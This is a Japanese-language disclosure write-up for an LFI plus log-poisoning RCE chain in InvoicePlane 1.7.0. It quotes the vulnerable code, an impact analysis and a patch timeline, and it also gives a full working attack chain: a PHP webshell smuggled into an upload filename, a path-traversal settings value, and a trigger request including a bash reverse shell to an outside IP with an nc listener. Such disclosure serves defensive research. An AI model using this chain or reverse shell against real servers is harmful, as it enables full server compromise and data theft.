
# CVE-2026-25548 技術詳細解説と概念実証 InvoicePlane 1.7.0 におけるLFI(ローカルファイルインクルージョン)とログポイズニングを介した重大なRCE(リモートコード実行)脆弱性に関する詳細な技術解説と概念実証。攻撃チェーン、PoCリクエスト、影響分析を含む。
脆弱性: ローカルファイルインクルージョン+ログポイズニングによるリモートコード実行
製品: InvoicePlane
影響を受けるバージョン: 1.7.0(およびそれ以前のバージョンの可能性あり)
深刻度: 重大
CVSS 3.1 スコア: 9.1 (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H)
CWE: CWE-98、CWE-117、CWE-94
発見者: Leonidas Agathos
報告日: 2026-01-31
InvoicePlane 1.7.0 の重大な脆弱性チェーンにより、認証された管理者が基盤となるサーバー上で**リモートコード実行(RCE)**を達成できます。この攻撃は2つの弱点を組み合わせたものです:
.php ログファイルにそのまま書き込まれ、任意の PHP コードの注入が可能になります。組み合わせることで、管理者アクセスを持つ攻撃者は Web サーバーユーザーとしてサーバーを完全に侵害できます。最終的な RCE トリガーは認証不要(公開請求書 URL)です。
| 属性 | 値 |
|---|---|
| ファイル | application/modules/guest/controllers/View.php |
| 行 | 85、191 |
| パラメータ | public_invoice_template(データベース設定) |
| CWE | CWE-98: Include/Require ステートメントにおけるファイル名の不適切な制御 |
脆弱なコード(View.php:85):
$this->load->view('invoice_templates/public/' .
get_setting('public_invoice_template') . '.php', $data);
脆弱なコード(View.php:191):
$this->load->view('quote_templates/public/' .
get_setting('public_quote_template') . '.php', $data);
public_invoice_template および public_quote_template 設定はデータベースから取得され、CodeIgniter の load->view()(PHP の include() に解決される)に渡されるファイルパスに直接連結されます。以下に対する検証は一切ありません:
../)の防止管理者はこの値をファイルシステム上の任意のパスに設定でき、自動的に追加される .php 拡張子によってのみ制約されます。
| 属性 | 値 |
|---|---|
| ファイル | application/modules/upload/controllers/Upload.php |
| 行 | 178–184 |
| パラメータ | アップロードファイル名(HTTP マルチパートフォームデータ) |
| CWE | CWE-117: ログの不適切な出力無害化 |
脆弱なコード(Upload.php:178-184):
private function sanitize_file_name(string $filename): string
{
if (str_contains($filename, '..')
|| str_contains($filename, '/')
|| str_contains($filename, '\\')
|| str_contains($filename, "\0")) {
log_message('error', 'Path traversal attempt detected in filename: ' . $filename);
return '';
}
// ...
}
ファイル名がパストラバーサルチェックをトリガーすると、未処理のままのサニタイズされていないファイル名がログファイルに直接書き込まれます。CodeIgniter のログファイルは:
.php 拡張子を使用:application/logs/log-YYYY-MM-DD.php<?php defined('BASEPATH') OR exit('No direct script access allowed'); ?> で始まるファイル名に <?php system($_GET[1]); ?> を埋め込んだ攻撃者は、そのペイロードがログに書き込まれ、後で LFI を介して実行されるようにします。
[認証されたユーザー] → 悪意のあるファイル名をアップロード → PHP がログファイルに注入される
[管理者] → テンプレート設定を変更 → LFI がログファイルを指す
[任意のユーザー] → 公開請求書 URL にアクセス → RCE
| ステップ | 要件 |
|---|---|
| ログポイズニング | アップロードアクセス権を持つ認証されたユーザー |
| LFI 設定 | 管理者アカウント |
| RCE トリガー | 認証不要(公開請求書 URL) |
ファイル名に PHP ウェブシェルを埋め込んだファイルアップロードリクエストを送信します。パストラバーサルチェックがトリガーされ、生のファイル名(PHP ペイロードを含む)がログファイルに書き込まれます。
リクエスト(Burp Suite 経由):
POST /index.php/upload/upload_file/3/13phvCzZiPyOXKYeJBk084jHL5NTGn9d HTTP/1.1
Host: 172.25.0.12
Cookie: ip_csrf_cookie=...; ip_session=...
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="_ip_csrf"
<csrf_token>
------Boundary
Content-Disposition: form-data; name="file"; filename="..<?php system($_GET[1]); ?>.jpg"
Content-Type: image/jpeg
test
------Boundary--
サーバーはアップロードを拒否します(upload_error_invalid_extension)が、ログエントリはすでに書き込まれています:
application/logs/log-2026-01-31.php の結果:
ERROR - 2026-01-31 10:35:06 --> Path traversal attempt detected in filename: ..<?php system($_GET[1]); ?>.jpg
請求書の添付ファイルセクションに移動し、ファイルを追加をクリックしてアップロードエンドポイントに到達します。



管理者として、パストラバーサルペイロードを使用して public_invoice_template 設定を今日のログファイルを指すように設定します。CodeIgniter のビューローダーは .php を自動的に追加します。
リクエスト(Burp Suite 経由):
POST /index.php/settings HTTP/1.1
Host: 172.25.0.12
Cookie: ip_csrf_cookie=...; ip_session=<admin_session>
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="settings[public_invoice_template]"
../../../logs/log-2026-01-31
------Boundary--
トラバーサルパスは application/views/invoice_templates/public/ から application/logs/ まで解決され、log-2026-01-31.php がインクルードされます。

1 GET パラメータとしてコマンドを渡して、任意の公開請求書 URL にアクセスします。認証は不要です。
リクエスト:
GET /index.php/guest/view/invoice/<invoice_url_key>?1=id HTTP/1.1
Host: 172.25.0.12
レスポンス(ページソース内):
Path traversal attempt detected in filename: ..uid=1000(www-data) gid=1000(www-data) groups=1000(www-data)
.jpg
system($_GET[1]) ペイロードが id コマンドを実行し、その出力がページ内にインラインで反映されます。

コマンドを bash リバースシェルペイロードに置き換えて、インタラクティブシェルを取得します:
GET /index.php/guest/view/invoice/<invoice_url_key>?1=bash+-c+'bash+-i+>%26+/dev/tcp/192.168.25.131/4444+0>%261' HTTP/1.1
攻撃者マシン上で:
nc -lnvp 4444
結果:
connect to [192.168.25.131] from (UNKNOWN) [172.25.0.11] 43360
www-data@0dd592f7a424:~/projects/invoiceplane$
www-data としての完全なインタラクティブシェル。

| 側面 | 評価 | 詳細 |
|---|---|---|
| 機密性 | 高 | Web サーバーユーザーがアクセス可能なすべてのファイルへの完全な読み取りアクセス(データベース認証情報や顧客請求書データを含む) |
| 完全性 | 高 | 任意のファイル書き込み、データベース改変、ウェブシェルインストール |
| 可用性 | 高 | サービス拒否、ランサムウェア展開、システム破壊 |
| ファイル | 脆弱性 |
|---|---|
application/modules/guest/controllers/View.php:85 | LFI — 請求書テンプレート |
application/modules/guest/controllers/View.php:191 | LFI — 見積書テンプレート |
application/modules/upload/controllers/Upload.php:182 | ログポイズニング |
application/modules/settings/controllers/Settings.php | テンプレート設定の検証なし |
| 日付 | イベント |
|---|---|
| 2026-01-30 | 脆弱性を発見 |
| 2026-01-31 | 概念実証を開発 |
| 2026-01-31 | ベンダーに通知 |
| 2026-02-03 | ベンダーが確認 |
| 2026-02-03 | パッチをリリース |
| 2026-02-04 | 公開開示 |
この脆弱性は独立したセキュリティ研究の過程で発見されました。すべての情報は、ベンダーおよびセキュリティコミュニティがこの問題を理解し修正することを支援するために、教育、研究、防御目的でのみ提供されます。この情報の悪意のある使用は固く禁じられています。